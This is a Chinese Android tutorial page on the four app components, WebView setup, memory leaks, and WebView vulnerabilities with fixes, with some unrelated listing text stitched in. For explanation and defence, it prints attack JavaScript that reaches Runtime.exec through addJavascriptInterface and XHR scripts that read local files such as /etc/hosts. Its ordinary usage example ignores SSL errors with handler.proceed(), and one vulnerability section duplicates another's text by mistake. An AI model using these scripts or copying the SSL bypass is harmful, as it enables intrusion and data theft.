    “singleTop”的activity如果在task的栈顶的话,则不生成新的该activity的实例,直接使用栈顶的实例,否则,生成该activity的实例。
    “singleInstance”是其所在栈的唯一activity,它会每次都被重用。
    “singleTask” 如果在栈顶,则接受intent,否则,该intent会被丢弃,但是该task仍会回到前台。
    当已经存在的activity实例处理新的intent时候,会调用onNewIntent()方法,如果收到intent生成一个activity实例,那么用户可以通过back键回到上一个状态;如果是已经存在的一个activity来处理这个intent的话,用户不能通过按back键返回到这之前的状态。
    ———————————–
    二、Service
    service可以在和多场合的应用中使用,比如播放多媒体的时候用户启动了其他Activity这个时候程序要在后台继续播放,比如检测SD卡上文件的变化,再或者在后台记录你地理信息位置的改变等等,总之服务嘛,总是藏在后头的。
    Service是在一段不定的时间运行在后台,不和用户交互应用组件。每个Service必须在manifest中
    通过来声明。可以通过contect.startservice和contect.bindserverice来启动。
    Service和其他的应用组件一样,运行在进程的主线程中。这就是说如果service需要很多耗时或者阻塞的操作,需要在其子线程中实现。

    启动service,根据onStartCommand的返回值不同,有两个附加的模式:
    1、START_STICKY 用于显示启动和停止service。
    2、START_NOT_STICKY或START_REDELIVER_INTENT用于有命令需要处理时才运行的模式。
    服务不能自己运行,需要通过调用Context.startService()或Context.bindService()方法启动服务。这两个方法都可以启动Service,但是它们的使用场合有所不同。
    1、 使用startService()方法启用服务,调用者与服务之间没有关连,即使调用者退出了,服务仍然运行。
    如果打算采用Context.startService()方法启动服务,在服务未被创建时,系统会先调用服务的onCreate()方法,接着调用onStart()方法。
    如果调用startService()方法前服务已经被创建,多次调用startService()方法并不会导致多次创建服务,但会导致多次调用onStart()方法。
    采用startService()方法启动的服务,只能调用Context.stopService()方法结束服务,服务结束时会调用onDestroy()方法。
    2、使用bindService()方法启用服务,调用者与服务绑定在了一起,调用者一旦退出,服务也就终止,大有“不求同时生,必须同时死”的特点。
    onBind()只有采用Context.bindService()方法启动服务时才会回调该方法。该方法在调用者与服务绑定时被调用,当调用者与服务已经绑定,多次调用Context.bindService()方法并不会导致该方法被多次调用。采用Context.bindService()方法启动服务时只能调用onUnbind()方法解除调用者与服务解除,服务结束时会调用的onDestroy()方法。拥有服务的进程具有较高的优先级1.如果service正在调用onCreate,onStartCommand或者onDestory方法,那么用于当前service的进程则变为前台进程以避免被杀死。2.如果当前服务已经被启动(start),拥有它的进程则比那些用户可见的进程优先级低一些,但是比那些不可见的进程更重要,这就意味着服务一般不会被杀死。3。如果客户端已经连接到service(bindService),那么拥有Service的进程则拥有最高的优先级,可以认为service是可见的。4.如果service可以使用startForeground(int,Notification)方法来将service设置为前台状态,那么系统就认为是对用户可见的,并不会在内存不足时被杀。如果有其他的应用组件作为服务,活动等运行在相同的进程中,那么将会增加该进程的重要性。本地服务1.不需和活动交互的本地服务2.本地服务和活动交互\ ———————–

    三、Broadcast Receiver
    是一个全局的监听器,属于Android四大组件之一
    作用是监听 / 接收 应用 App 发出的广播消息,并 做出响应
    应用场景为

    1、Android不同组件间的通信
    2、多线程通信
    3、与Android系统在特定情况下的通信


    四、Content Provider详解

    ContentProvider(内容提供者)是Android中的四大组件之一。主要用于对外共享数据,也就是通过ContentProvider把应用中的数据共享给其他应用访问,其他应用可以通过ContentProvider对指定应用中的数据进行操作。ContentProvider分为系统的和自定义的,系统的也就是例如联系人,图片等数据。
    android中对数据操作包含有:
    file, sqlite3, Preferences,ContectResolver与ContentProvider前三种数据操作方式都只是针对本应用内数据,程序不能通过这三种方法去操作别的应用内的数据。
    android中提供ContectResolver与ContentProvider来操作别的应用程序的数据。
    使用方式:
    一个应用实现ContentProvider来提供内容给别的应用来操作,
    一个应用通过ContentResolver来操作别的应用数据,当然在自己的应用中也可以。
    1.ContentProvider
    Android提供了一些主要数据类型的ContentProvider,比如音频、视频、图片和私人通讯录等。可在android.provider包下面找到一些Android提供的ContentProvider。通过获得这些ContentProvider可以查询它们包含的数据,当然前提是已获得适当的读取权限。

    2.ContentResolver
    当外部应用需要对ContentProvider中的数据进行添加、删除、修改和查询操作时,可以使用ContentResolver类来完成,要获取ContentResolver对象,可以使用Context提供的getContentResolver()方法。
    3.Uri
    Uri指定了将要操作的ContentProvider,其实可以把一个Uri看作是一个网址,我们把Uri分为三部分。
    第一部分是”content://”。可以看作是网址中的”http://”。
    第二部分是主机名或authority,用于唯一标识这个ContentProvider,外部应用需要根据这个标识来找到它。可以看作是网址中的主机名,比如”blog.csdn.net”。
    第三部分是路径名,用来表示将要操作的数据。可以看作网址中细分的内容路径。

    作者:陈进杨

    原文链接:点击这里

    展开全文
  • 安卓开发必学书籍(30本合集)

    千次下载 热门讨论 2013-05-03 20:13:42
    安卓开发必学书籍(30本合集) 安卓开发必学书籍(30本合集) 免积分 C语言\Android+移植技術.7z C语言\Android_C、C++_开发.7z C语言\JNI程序员指南与规范.rar C语言\NDKjni.rar C语言\多线程的JNI+Native.7z ...
  • 前言:随着市场需求的不断变化,原生安卓已经无法满足客户的需要了,现在很多app都在使用Android和h5的交互实现某些功能,比如商品详情页,文章详情页面,商品点评页面,还有某些复杂的展示页面等等,设置登陆页面都...

    前言:随着市场需求的不断变化,原生安卓已经无法满足客户的需要了,现在很多app都在使用Android和h5的交互实现某些功能,比如商品详情页,文章详情页面,商品点评页面,还有某些复杂的展示页面等等,设置登陆页面都有可能是和js交互做到的。通过交互可以很快速的达到效果,原生的安卓去做的话就会很麻烦。今天我就简单讲一下使用WebView做到js代码和安卓的交互,通过一个小demo教你学会js和Android的交互。

    ##  首先来看看这篇博客要讲解内容的大纲(这个图是我自己画的,网上找不到的)

    ⇒ 一、WebView的基本使用

    WebView是一个基于webkit引擎、展现web页面的控件。Webview在低版本和高版本采用了不同的webkit版本内核,4.4后直接使用了Chrome。   WebView控件功能强大,除了具有一般View的属性和设置外,还可以对url请求、页面加载**(直接使用html文件**(网络上或本地assets中)作布局**)、渲染Wb页面、页面交互(和js交互)**进行强大的处理。

    (一)常用方法

    • (1) WebView的状态
    //激活WebView为活跃状态,能正常执行网页的响应
    webView.onResume() ;
    
    //当页面被失去焦点被切换到后台不可见状态,需要执行onPause
    //通过onPause动作通知内核暂停所有的动作,比如DOM的解析、plugin的执行、JavaScript执行。
    webView.onPause();
    
    //当应用程序(存在webview)被切换到后台时,这个方法不仅仅针对当前的webview而是全局的全应用程序的webview
    //它会暂停所有webview的layout,parsing,javascripttimer。降低CPU功耗。
    webView.pauseTimers()
    
    //恢复pauseTimers状态
    webView.resumeTimers();
    
    //销毁Webview
    //在关闭了Activity时,如果Webview的音乐或视频,还在播放。就必须销毁Webview
    //但是注意:webview调用destory时,webview仍绑定在Activity上
    //这是由于自定义webview构建时传入了该Activity的context对象
    //因此需要先从父容器中移除webview,然后再销毁webview:
    rootLayout.removeView(webView); 
    webView.destroy();
    复制代码
    • (2) 关于前进 / 后退网页
    //是否可以后退
    Webview.canGoBack() 
    //后退网页
    Webview.goBack()
    
    //是否可以前进                     
    Webview.canGoForward()
    //前进网页
    Webview.goForward()
    
    //以当前的index为起始点前进或者后退到历史记录中指定的steps
    //如果steps为负数则为后退,正数则为前进
    Webview.goBackOrForward(intsteps) 
    复制代码

    常见用法:Back键控制网页后退

    问题:在不做任何处理前提下 ,浏览网页时点击系统的“Back”键,整个 Browser 会调用 finish()而结束自身
    目标:点击返回后,是网页回退而不是推出浏览器
    
    解决方案:在当前Activity中处理并消费掉该 Back 事件
    public boolean onKeyDown(int keyCode, KeyEvent event) {
        if ((keyCode == KEYCODE_BACK) && mWebView.canGoBack()) { 
        mWebView.goBack();
        return true;
        }
        return super.onKeyDown(keyCode, event);
    }
    复制代码
    • (3) 清除缓存数据
    //清除网页访问留下的缓存
    //由于内核缓存是全局的因此这个方法不仅仅针对webview而是针对整个应用程序.
    Webview.clearCache(true);
    
    //清除当前webview访问的历史记录
    //只会webview访问历史记录里的所有记录除了当前访问记录
    Webview.clearHistory();
    
    //这个api仅仅清除自动完成填充的表单数据,并不会清除WebView存储到本地的数据
    Webview.clearFormData();
    复制代码

    (二)常用类

    • (1) WebSettings类(主要作用是:对WebView进行配置和管理)
    //生成一个WebView组件(两种方式)
    //方式1:直接在在Activity中生成
    WebView webView = new WebView(this)
    //方法2:在Activity的layout文件里添加webview控件:
    WebView webview = (WebView) findViewById(R.id.webView1);
    
    //声明WebSettings子类
    WebSettings webSettings = webView.getSettings();
    
    //如果访问的页面中要与Javascript交互,则webview必须设置支持Javascript
    webSettings.setJavaScriptEnabled(true);  
    
    //支持插件
    webSettings.setPluginsEnabled(true); 
    
    //设置自适应屏幕,两者合用(下面这两个方法合用)
    webSettings.setUseWideViewPort(true); //将图片调整到适合webview的大小 
    webSettings.setLoadWithOverviewMode(true); // 缩放至屏幕的大小
    
    //缩放操作
    webSettings.setSupportZoom(true); //支持缩放,默认为true。是下面那个的前提。
    webSettings.setBuiltInZoomControls(true); //设置内置的缩放控件。若为false,则该WebView不可缩放
    webSettings.setDisplayZoomControls(false); //隐藏原生的缩放控件
    
    //其他细节操作
    webSettings.setCacheMode(WebSettings.LOAD_CACHE_ELSE_NETWORK); //关闭webview中缓存 
    webSettings.setAllowFileAccess(true); //设置可以访问文件 
    webSettings.setJavaScriptCanOpenWindowsAutomatically(true); //支持通过JS打开新窗口 
    webSettings.setLoadsImagesAutomatically(true); //支持自动加载图片
    webSettings.setDefaultTextEncodingName("utf-8");//设置编码格式
    复制代码

    //设置WebView缓存(当加载 html 页面时,WebView会在/data/data/包名目录下生成 database 与 cache 两个文件夹,请求的 URL记录保存在 WebViewCache.db,而 URL的内容是保存在 WebViewCache 文件夹下)

    //优先使用缓存: 
    WebView.getSettings().setCacheMode(WebSettings.LOAD_CACHE_ELSE_NETWORK); 
        //缓存模式如下:
        //LOAD_CACHE_ONLY: 不使用网络,只读取本地缓存数据
        //LOAD_DEFAULT: (默认)根据cache-control决定是否从网络上取数据。
        //LOAD_NO_CACHE: 不使用缓存,只从网络获取数据.
        //LOAD_CACHE_ELSE_NETWORK,只要本地有,无论是否过期,或者no-cache,都使用缓存中的数据。
    
    //不使用缓存: 
    WebView.getSettings().setCacheMode(WebSettings.LOAD_NO_CACHE);
    复制代码

    //结合使用(离线加载)(注意:每个 Application 只调用一次 WebSettings.setAppCachePath(),WebSettings.setAppCacheMaxSize())

    if (NetStatusUtil.isConnected(getApplicationContext())) {//判断网络是否连接
        webSettings.setCacheMode(WebSettings.LOAD_DEFAULT);//根据cache-control决定是否从网络上取数据。
    } else {
        webSettings.setCacheMode(WebSettings.LOAD_CACHE_ELSE_NETWORK);//没网,则从本地获取,即离线加载
    }
    
    webSettings.setDomStorageEnabled(true); // 开启 DOM storage API 功能
    webSettings.setDatabaseEnabled(true);   //开启 database storage API 功能
    webSettings.setAppCacheEnabled(true);//开启 Application Caches 功能
    
    String cacheDirPath = getFilesDir().getAbsolutePath() + APP_CACAHE_DIRNAME;
    webSettings.setAppCachePath(cacheDirPath); //设置  Application Caches 缓存目录
    复制代码
    • (2) WebViewClient类(主要作用是:处理各种通知 & 请求事件)
    //步骤1. 定义Webview组件
    Webview webview = (WebView) findViewById(R.id.webView1);
    
    //步骤2. 选择加载方式
    //方式a. 加载一个网页:
    webView.loadUrl("http://www.google.com/");
    //方式b:加载apk包中的html页面
    webView.loadUrl("file:///android_asset/test.html");
    //方式c:加载手机本地的html页面
    webView.loadUrl("content://com.android.htmlfileprovider/sdcard/test.html");
    
    //步骤3. 复写shouldOverrideUrlLoading()方法,
    webView.setWebViewClient(new WebViewClient(){
      @Override
      public boolean shouldOverrideUrlLoading(WebView view, String url) {
        //使得打开网页时不调用系统浏览器, 而是在本WebView中显示
        view.loadUrl(url);
        return true;
      }
    
      @Override
      public void  onPageStarted(WebView view, String url, Bitmap favicon) {
        //设定加载开始的操作
      }
    
      @Override
      public void onPageFinished(WebView view, String url) {
        //设定加载结束的操作
      }
    
      @Override
      public boolean onLoadResource(WebView view, String url) {
        //设定加载资源的操作
      }
    
      @Override
      public void onReceivedError(WebView view, int errorCode, String description, String failingUrl){
        switch(errorCode){
        //该方法传回了错误码,根据错误类型可以进行不同的错误分类处理 
          case HttpStatus.SC_NOT_FOUND:
            view.loadUrl("file:///android_assets/error_handle.html");
            break;
        }
      }
    
      @Override    
      public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {//处理https请  
        handler.proceed();    //表示等待证书响应
        // handler.cancel();      //表示挂起连接,为默认方式
        // handler.handleMessage(null);    //可做其他处理
      }    
    });
    复制代码
    • (3) WebChromeClient类( 作用:辅助 WebView 处理 Javascript 的对话框,网站图标,网站标题等等。)
      webview.setWebChromeClient(new WebChromeClient(){
          @Override
          public void onProgressChanged(WebView view, int newProgress) {
              if (newProgress < 100) {
              String progress = newProgress + "%";
              progress.setText(progress);
              }else{
              // to do something...
              }
          }
    
          @Override
          public void onReceivedTitle(WebView view, String title) {
             titleview.setText(title);
          }      
      });
    复制代码
    • 一个demo示范一下以上几个类的用法:

    activity_main.xml如下:

    <?xml version="1.0" encoding="utf-8"?>
    <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
        xmlns:tools="http://schemas.android.com/tools"
        android:layout_width="match_parent"
        android:layout_height="match_parent"
    
        android:paddingBottom="@dimen/activity_vertical_margin"
        android:paddingLeft="@dimen/activity_horizontal_margin"
        android:paddingRight="@dimen/activity_horizontal_margin"
        android:paddingTop="@dimen/activity_vertical_margin"
        tools:context="com.example.carson_ho.webview_demo.MainActivity">
    
    
       <!-- 获取网站的标题-->
        <TextView
            android:id="@+id/title"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:text=""/>
    
        <!--开始加载提示-->
        <TextView
            android:id="@+id/text_beginLoading"
            android:layout_below="@+id/title"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:text=""/>
    
        <!--获取加载进度-->
        <TextView
            android:layout_below="@+id/text_beginLoading"
            android:id="@+id/text_Loading"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:text=""/>
    
        <!--结束加载提示-->
        <TextView
            android:layout_below="@+id/text_Loading"
            android:id="@+id/text_endLoading"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:text=""/>
    
        <!--显示网页区域-->
        <WebView
            android:id="@+id/webView1"
            android:layout_below="@+id/text_endLoading"
            android:layout_width="fill_parent"
            android:layout_height="fill_parent"
            android:layout_marginTop="10dp" />
    </RelativeLayout>
    复制代码

    java如下:

    import android.graphics.Bitmap;
    import android.os.Bundle;
    import android.support.v7.app.AppCompatActivity;
    import android.view.KeyEvent;
    import android.view.ViewGroup;
    import android.webkit.WebChromeClient;
    import android.webkit.WebSettings;
    import android.webkit.WebView;
    import android.webkit.WebViewClient;
    import android.widget.TextView;
    
    
    public class MainActivity extends AppCompatActivity {
        WebView mWebview;
        WebSettings mWebSettings;
        TextView beginLoading,endLoading,loading,mtitle;
    
        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.activity_main);
    
            mWebview = (WebView) findViewById(R.id.webView1);
            beginLoading = (TextView) findViewById(R.id.text_beginLoading);
            endLoading = (TextView) findViewById(R.id.text_endLoading);
            loading = (TextView) findViewById(R.id.text_Loading);
            mtitle = (TextView) findViewById(R.id.title);
            mWebSettings = mWebview.getSettings();
            mWebview.loadUrl("http://www.baidu.com/");
            //设置不用系统浏览器打开,直接显示在当前Webview
            mWebview.setWebViewClient(new WebViewClient() {
                @Override
                public boolean shouldOverrideUrlLoading(WebView view, String url) {
                    view.loadUrl(url);
                    return true;
                }
            });
    
            //设置WebChromeClient类
            mWebview.setWebChromeClient(new WebChromeClient() {
                //获取网站标题
                @Override
                public void onReceivedTitle(WebView view, String title) {
                    System.out.println("标题在这里");
                    mtitle.setText(title);
                }
    
                //获取加载进度
                @Override
                public void onProgressChanged(WebView view, int newProgress) {
                    if (newProgress < 100) {
                        String progress = newProgress + "%";
                        loading.setText(progress);
                    } else if (newProgress == 100) {
                        String progress = newProgress + "%";
                        loading.setText(progress);
                    }
                }
            });
    
            //设置WebViewClient类
            mWebview.setWebViewClient(new WebViewClient() {
                //设置加载前的函数
                @Override
                public void onPageStarted(WebView view, String url, Bitmap favicon) {
                    System.out.println("开始加载了");
                    beginLoading.setText("开始加载了");
                }
    
                //设置结束加载函数
                @Override
                public void onPageFinished(WebView view, String url) {
                    endLoading.setText("结束加载了");
                }
            });
        }
    
        //点击返回上一页面而不是退出浏览器
        @Override
        public boolean onKeyDown(int keyCode, KeyEvent event) {
            if (keyCode == KeyEvent.KEYCODE_BACK && mWebview.canGoBack()) {
                mWebview.goBack();
                return true;
            }
            return super.onKeyDown(keyCode, event);
        }
    
        //销毁Webview
        @Override
        protected void onDestroy() {
            if (mWebview != null) {
                mWebview.loadDataWithBaseURL(null, "", "text/html", "utf-8", null);
                mWebview.clearHistory();
                ((ViewGroup) mWebview.getParent()).removeView(mWebview);
                mWebview.destroy();
                mWebview = null;
            }
            super.onDestroy();
        }
    }
    复制代码

    ⇒ 二、WebView的内存泄漏怎么办?

    1.不在xml中定义 Webview ,而是在需要的时候在Activity中创建,并且Context使用 getApplicationgContext()

        LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, 
                                             ViewGroup.LayoutParams.MATCH_PARENT);
        mWebView = new WebView(getApplicationContext());
        mWebView.setLayoutParams(params);
        mLayout.addView(mWebView);
    复制代码

    2.在 Activity 销毁( WebView )的时候,先让 WebView 加载null内容,然后移除 WebView,再销毁 WebView,最后置空。

    @Override
    protected void onDestroy() {
        if (mWebView != null) {
            mWebView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null);
            mWebView.clearHistory();
    
            ((ViewGroup) mWebView.getParent()).removeView(mWebView);
            mWebView.destroy();
            mWebView = null;
        }
        super.onDestroy();
    }
    复制代码

    ⇒ 三、WebView的使用漏洞 及其修复方式

    WebView中,主要漏洞有三类:

    1.任意代码执行漏洞
    2.密码明文存储漏洞
    3.域控制不严格漏洞
    复制代码

    (一)任意代码执行漏洞

    • (1)addJavascriptInterface 接口引起远程代码执行漏洞

    1. 漏洞产生原因:

        js调用Android的其中一个方式是通过addJavascriptInterface接口进行对象映射:
    
        webView.addJavascriptInterface(new JSObject(), "myObj");
        // 参数1:Android的本地对象
        // 参数2:JS的对象
        // 通过对象映射将Android中的本地对象和JS中的对象进行关联,从而实现JS调用Android的对象和方法
        所以,漏洞产生原因是:当JS拿到android这个对象后,就可以调用这个Android对象中所有的方法,包括系统类(Java.lang.Runtime 类),
    从而进行任意代码执行。(比如**我们可以执行命令获取本地设备的SD卡中的文件等信息从而造成信息泄露**)
    复制代码

    具体获取系统类的描述:(结合 Java 反射机制)

      1. Android中的对象有一公共的方法:getClass() ;
      1. 该方法可以获取到当前类 类型Class
      1. 该类有一关键的方法: Class.forName;
      1. 该方法可以加载一个类(可加载 java.lang.Runtime 类)
      1. 而该类是可以执行本地命令的

    以下是攻击的Js核心代码:

    function execute(cmdArgs)  {  
        // 步骤1:遍历 window 对象
        // 目的是为了找到包含 getClass ()的对象
        // 因为Android映射的JS对象也在window中,所以肯定会遍历到
        for (var obj in window) {  
            if ("getClass" in window[obj]) {  
                // 步骤2:利用反射调用forName()得到Runtime类对象
                alert(obj);          
                return  window[obj].getClass().forName("java.lang.Runtime")  
                // 步骤3:以后,就可以调用静态方法来执行一些命令,比如访问文件的命令
                getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  
                // 从执行命令后返回的输入流中得到字符串,有很严重暴露隐私的危险。
                // 如执行完访问文件的命令之后,就可以得到文件名的信息了。
            }  
        }  
    } 
    复制代码

    当一些 APP 通过扫描二维码打开一个外部网页时,攻击者就可以执行这段 js 代码进行漏洞攻击。在微信盛行、扫一扫行为普及的情况下,该漏洞的危险性非常大

    2.解决方法

    Android 4.2版本之后:Google 在Android 4.2 版本中规定对被调用的函数以 @JavascriptInterface进行注解从而避免漏洞攻击

    Android 4.2版本之前:采用拦截prompt()进行漏洞修复。 具体步骤如下:

    1.继承 WebView ,重写 addJavascriptInterface 方法,然后在内部自己维护一个对象映射关系的 Map ( 将需要添加的 JS 接口放入该Map中 )
    2.每次当 WebView 加载页面前加载一段本地的 JS 代码,原理是:
        1) 让JS调用一Javascript方法:该方法是通过调用prompt()把JS中的信息(含特定标识,方法名称等)传递到Android端;
        2) 在Android的onJsPrompt()中 ,解析传递过来的信息,再通过反射机制调用Java对象的方法,这样实现安全的JS调用Android代码。
    关于Android返回给JS的值:可通过prompt()把Java中方法的处理结果返回到Js中
    复制代码

    具体需要加载的JS代码如下:

     javascript:(function JsAddJavascriptInterface_(){  
        // window.jsInterface 表示在window上声明了一个Js对象
        // jsInterface = 注册的对象名
        // 它注册了两个方法,onButtonClick(arg0)和onImageClick(arg0, arg1, arg2)
        // 如果有返回值,就添加上return
        if (typeof(window.jsInterface)!='undefined') {      
            console.log('window.jsInterface_js_interface_name is exist!!');}   
        else {  
            window.jsInterface = {     
                // 声明方法形式:方法名: function(参数)
                onButtonClick:function(arg0) {   
                // prompt()返回约定的字符串
                // 该字符串可自己定义
                // 包含特定的标识符MyApp和 JSON 字符串(方法名,参数,对象名等)    
                    return prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onButtonClick',args:[arg0]}));  
                },  
                onImageClick:function(arg0,arg1,arg2) {   
                    return prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onImageClick',
    args:[arg0,arg1,arg2]}));  
                },  
            };  
        }  
    }  
    )()
    // 当JS调用 onButtonClick() 或 onImageClick() 时,就会回调到Android中的 onJsPrompt ()
    // 我们解析出方法名,参数,对象名
    // 再通过反射机制调用Java对象的方法
    复制代码

    关于采用拦截prompt()进行漏洞修复需要注意的两点细节:

    细节1:加载上述JS代码的时机

    由于当 WebView 跳转到下一个页面时,之前加载的 JS 可能已经失效,所以,通常需要在以下方法中加载js:
        onLoadResource();
        doUpdateVisitedHistory();
        onPageStarted();
        onPageFinished();
        onReceivedTitle();
        onProgressChanged();
    复制代码

    细节2:需要过滤掉 Object 类的方法

    由于最终是通过反射得到Android指定对象的方法,所以同时也会得到基类的其他方法(最顶层的基类是 Object类)
    为了不把 getClass()等方法注入到 JS 中,我们需要把 Object 的共有方法过滤掉,需要过滤的方法列表如下:
        getClass()
        hashCode()
        notify()
        notifyAl()
        equals()
        toString()
        wait()
    复制代码
    • (2)searchBoxJavaBridge_接口引起远程代码执行漏洞

    1. 产生原因

    1) 在Android 3.0以下,Android系统会默认通过searchBoxJavaBridge_的Js接口给 WebView 添加一个JS映射对象:
    searchBoxJavaBridge_对象
    2) 该接口可能被利用,实现远程任意代码。
    复制代码

    2. 解决方法

    删除searchBoxJavaBridge_接口
    // 通过调用该方法删除接口removeJavascriptInterface();
    复制代码
    • (3)accessibility和 accessibilityTraversal接口引起远程代码执行漏洞

    1. 产生原因

    1) 在Android 3.0以下,Android系统会默认通过searchBoxJavaBridge_的Js接口给 WebView 添加一个JS映射对象:
    searchBoxJavaBridge_对象
    2) 该接口可能被利用,实现远程任意代码。
    复制代码

    2. 解决方法

    删除searchBoxJavaBridge_接口
    // 通过调用该方法删除接口removeJavascriptInterface();
    复制代码

    (二)密码明文存储漏洞

    • (1)问题分析

      //WebView默认开启密码保存功能 : mWebView.setSavePassword(true) 开启后,在用户输入密码时,会弹出提示框:询问用户是否保存密码; 如果选择”是”,密码会被明文保到 /data/data/com.package.name/databases/webview.db 中,这样就有被盗取密码的危险

    • (2)解决方案

      //关闭密码保存提醒 WebSettings.setSavePassword(false)

    (三)域控制不严格漏洞

    先看Android里的WebViewActivity.java:

    public class WebViewActivity extends Activity {
        private WebView webView;
        public void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.activity_webview);
            webView = (WebView) findViewById(R.id.webView);
    
            //webView.getSettings().setAllowFileAccess(false);                    (1)
            //webView.getSettings().setAllowFileAccessFromFileURLs(true);         (2)
            //webView.getSettings().setAllowUniversalAccessFromFileURLs(true);    (3)
            Intent i = getIntent();
            String url = i.getData().toString(); //url = file:///data/local/tmp/attack.html 
            webView.loadUrl(url);
        }
     }
    
    /**Mainifest.xml**/
    // 将该 WebViewActivity 在Mainifest.xml设置exported属性
    // 表示:当前Activity是否可以被另一个Application的组件启动
    android:exported="true"
    复制代码
    • (1)问题分析

    上述demo中:即 A 应用可以通过 B 应用导出的 Activity 让 B 应用加载一个恶意的 file 协议的 url,从而可以获取 B 应用的内部私有文件,从而带来数据泄露威胁

    **具体:**当其他应用启动此 Activity 时, intent 中的 data 直接被当作 url 来加载(假定传进来的 url 为 file:///data/local/tmp/attack.html ),其他 APP 通过使用显式 ComponentName 或者其他类似方式就可以很轻松的启动该 WebViewActivity 并加载恶意url。

    下面我们着重分析WebView中getSettings类的方法对 WebView 安全性的影响:

    setAllowFileAccess()
    setAllowFileAccessFromFileURLs()
    setAllowUniversalAccessFromFileURLs()
    复制代码
    • (2) setAllowFileAccess()

      // 设置是否允许 WebView 使用 File 协议,默认设置为true,即允许在 File 域下执行任意 JavaScript 代码 webView.getSettings().setAllowFileAccess(true);

    但是同时也限制了 WebView 的功能,使其不能加载本地的 html 文件,( 移动版的 Chrome 默认禁止加载 file 协议的文件 ) ,如下图:

    解决方案:

    1) 对于不需要使用 file 协议的应用,禁用 file 协议;
      setAllowFileAccess(false); 
      
    2) 对于需要使用 file 协议的应用,禁止 file 协议加载 JavaScript。
      setAllowFileAccess(true); 
      // 禁止 file 协议加载 JavaScript
      if (url.startsWith("file://") {
          setJavaScriptEnabled(false);
      } else {
          setJavaScriptEnabled(true);
      }
    复制代码
    • (3)setAllowFileAccessFromFileURLs()

    设置是否允许通过 file url 加载的 Js代码读取其他的本地文件 , 在Android 4.1前默认允许 , 在Android 4.1后默认禁止

    webView.getSettings().setAllowFileAccessFromFileURLs(true);
    复制代码

    当AllowFileAccessFromFileURLs()设置为 true 时,攻击者的JS代码为 ( 通过该代码可成功读取 /etc/hosts 的内容数据 ) :

    <script>
        function loadXMLDoc(){
            var arm = "file:///etc/hosts";
            var xmlhttp;
            if (window.XMLHttpRequest){
                xmlhttp=new XMLHttpRequest();
            }
            xmlhttp.onreadystatechange=function(){
                //alert("status is"+xmlhttp.status);
                if (xmlhttp.readyState==4){
                      console.log(xmlhttp.responseText);
                }
            }
            xmlhttp.open("GET",arm);
            xmlhttp.send(null);
        }
        loadXMLDoc();
    </script>
    复制代码

    解决方案:

    设置setAllowFileAccessFromFileURLs(false);
    复制代码

    当设置成为 false 时,上述JS的攻击代码执行会导致错误,表示浏览器禁止从 file url 中的 JavaScript 读取其它本地文件。

    • (4) setAllowUniversalAccessFromFileURLs()

    设置是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源),在Android 4.1前默认允许(setAllowFileAccessFromFileURLs()不起作用),在Android 4.1后默认禁止

    webView.getSettings().setAllowUniversalAccessFromFileURLs(true);
    复制代码

    当AllowFileAccessFromFileURLs()被设置成true时,攻击者的JS代码是:

    // 通过该代码可成功读取 http://www.so.com 的内容
    <script>
        function loadXMLDoc(){
            var arm = "http://www.so.com";
            var xmlhttp;
            if (window.XMLHttpRequest){
                xmlhttp=new XMLHttpRequest();
            }
            xmlhttp.onreadystatechange=function(){
                //alert("status is"+xmlhttp.status);
                if (xmlhttp.readyState==4){
                     console.log(xmlhttp.responseText);
                }
            }
            xmlhttp.open("GET",arm);
            xmlhttp.send(null);
        }
        loadXMLDoc();
    </script>
    复制代码

    解决方案:

    设置setAllowUniversalAccessFromFileURLs(false);
    复制代码
    • (5) setJavaScriptEnabled()

    设置是否允许 WebView 使用 JavaScript(默认是不允许),但很多应用(包括移动浏览器)为了让 WebView 执行 http 协议中的 JavaScript,都会主动设置为true,不区别对待是非常危险的,如下代码所示:

    webView.getSettings().setJavaScriptEnabled(true);  
    复制代码

    即使把setAllowFileAccessFromFileURLs()和setAllowUniversalAccessFromFileURLs()都设置为 false,通过 file URL 加载的 javascript仍然有方法访问其他的本地文件:符号链接跨源攻击(前提是允许 file URL 执行 javascript,即webView.getSettings().setJavaScriptEnabled(true);)

    原因分析:

    这一攻击能奏效的原因是:通过 javascript 的延时执行和将当前文件替换成指向其它文件的软链接就可以读取到被符号链接所指的文件。
    复制代码

    具体攻击步骤:(在该命令执行前 xx.html 是不存在的;执行完这条命令之后,就生成了这个文件,并且将 Cookie 文件链接到了 xx.html 上。) 1. 把恶意的 js 代码输出到攻击应用的目录下,随机命名为 xx.html,修改该目录的权限; 2. 修改后休眠 1s,让文件操作完成; 3. 完成后通过系统的 Chrome 应用去打开该 xx.html 文件 4. 等待 4s 让 Chrome 加载完成该 html,最后将该 html 删除,并且使用 ln -s 命令为 Chrome 的 Cookie 文件创建软连接, 于是就可通过链接来访问 Chrome 的 Cookie


    注意事项:   Google 没有进行修复,只是让Chrome 最新版本默认禁用 file 协议,所以这一漏洞在最新版的 Chrome 中并不存在。   但是,在日常大量使用 WebView 的App和浏览器,都有可能受到此漏洞的影响。通过利用此漏洞,容易出现数据泄露的危险   如果是 file 协议,禁用 javascript 可以很大程度上减小跨源漏洞对 WebView 的威胁。   但并不能完全杜绝跨源文件泄露。例:应用实现了下载功能,对于无法加载的页面,会自动下载到 sd 卡中;由于 sd 卡中的文件所有应用都可以访问,于是可以通过构造一个 file URL 指向被攻击应用的私有文件,然后用此 URL 启动被攻击应用的 WebActivity,这样由于该 WebActivity 无法加载该文件,就会将该文件下载到 sd 卡下面,然后就可以从 sd 卡上读取这个文件了

    • (6) 最终解决方案

    1)对于不需要使用 file 协议的应用,禁用 file 协议;

    // 禁用 file 协议;
    setAllowFileAccess(false); 
    setAllowFileAccessFromFileURLs(false);
    setAllowUniversalAccessFromFileURLs(false);
    复制代码

